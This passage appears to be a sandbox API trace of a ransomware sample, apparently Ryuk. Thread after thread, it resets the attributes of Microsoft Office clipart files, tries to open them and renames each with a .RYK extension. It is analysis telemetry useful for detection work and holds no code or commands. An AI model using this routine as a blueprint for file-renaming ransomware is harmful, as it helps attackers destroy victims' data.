	[0242.177] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281630.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281630.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2261
	os_tid = 0x28f0

	[0242.105] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF", dwFileAttributes=0x80) returned 0
	[0242.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281632.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.179] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.179] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281632.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281632.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2262
	os_tid = 0x28f4

	[0242.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF", dwFileAttributes=0x80) returned 0
	[0242.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281638.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.181] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.181] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281638.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281638.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2263
	os_tid = 0x28f8

	[0242.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF", dwFileAttributes=0x80) returned 0
	[0242.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281640.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.182] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.183] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281640.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281640.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2264
	os_tid = 0x28fc

	[0242.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF", dwFileAttributes=0x80) returned 0
	[0242.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282126.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.185] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.185] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282126.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282126.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2265
	os_tid = 0x2900

	[0242.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF", dwFileAttributes=0x80) returned 0
	[0242.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282928.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.241] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.241] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282928.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282928.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2266
	os_tid = 0x2904

	[0242.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF", dwFileAttributes=0x80) returned 0
	[0242.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282932.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.243] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.243] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282932.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282932.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2267
	os_tid = 0x2908

	[0242.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", dwFileAttributes=0x80) returned 0
	[0242.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285462.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.245] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.245] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285462.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285462.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2268
	os_tid = 0x290c

	[0242.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF", dwFileAttributes=0x80) returned 0
	[0242.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285484.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.246] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.246] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285484.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285484.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2269
	os_tid = 0x2910

	[0242.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF", dwFileAttributes=0x80) returned 0
	[0242.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285780.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.248] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.248] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285780.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285780.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2270
	os_tid = 0x2914

	[0242.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF", dwFileAttributes=0x80) returned 0
	[0242.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285782.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.250] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.250] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285782.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285782.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2271
	os_tid = 0x2918

	[0242.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF", dwFileAttributes=0x80) returned 0
	[0242.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285792.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.253] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.253] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285792.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285792.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285792.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2272
	os_tid = 0x291c

	[0242.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF", dwFileAttributes=0x80) returned 0
	[0242.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285796.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.255] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.255] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285796.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285796.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2273
	os_tid = 0x2920

	[0242.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF", dwFileAttributes=0x80) returned 0
	[0242.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285808.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.257] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.257] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285808.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285808.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2274
	os_tid = 0x2924

	[0242.197] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF", dwFileAttributes=0x80) returned 0
	[0242.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285820.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.258] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.258] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285820.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285820.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2275
	os_tid = 0x2928

	[0242.198] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF", dwFileAttributes=0x80) returned 0
	[0242.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285822.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.260] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.260] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285822.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285822.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2276
	os_tid = 0x292c

	[0242.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF", dwFileAttributes=0x80) returned 0
	[0242.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287018.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.262] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.262] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287018.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287018.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2277
	os_tid = 0x2930

	[0242.264] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF", dwFileAttributes=0x80) returned 0
	[0242.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287019.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.264] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.264] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287019.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287019.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2278
	os_tid = 0x2934

	[0242.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF", dwFileAttributes=0x80) returned 0
	[0242.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.266] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.266] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287020.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287020.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2279
	os_tid = 0x2938

	[0242.268] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF", dwFileAttributes=0x80) returned 0
	[0242.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287024.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.268] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.268] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287024.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287024.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2280
	os_tid = 0x293c

	[0242.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF", dwFileAttributes=0x80) returned 0
	[0242.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287408.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.270] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.270] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287408.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287408.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2281
	os_tid = 0x2940

	[0242.272] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF", dwFileAttributes=0x80) returned 0
	[0242.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287415.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.272] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.272] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287415.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287415.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2282
	os_tid = 0x2944

	[0242.274] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF", dwFileAttributes=0x80) returned 0
	[0242.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287417.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.274] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.275] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287417.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287417.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2283
	os_tid = 0x2948

	[0242.276] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG", dwFileAttributes=0x80) returned 0
	[0242.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.377] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.378] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2284
	os_tid = 0x294c

	[0242.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG", dwFileAttributes=0x80) returned 0
	[0242.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.392] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.392] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2285
	os_tid = 0x2950

	[0242.279] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG", dwFileAttributes=0x80) returned 0
	[0242.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.393] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.393] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2286
	os_tid = 0x2954

	[0242.280] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG", dwFileAttributes=0x80) returned 0
	[0242.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.394] CloseHandle (hObject=0xffffffffffffffff) returned 0
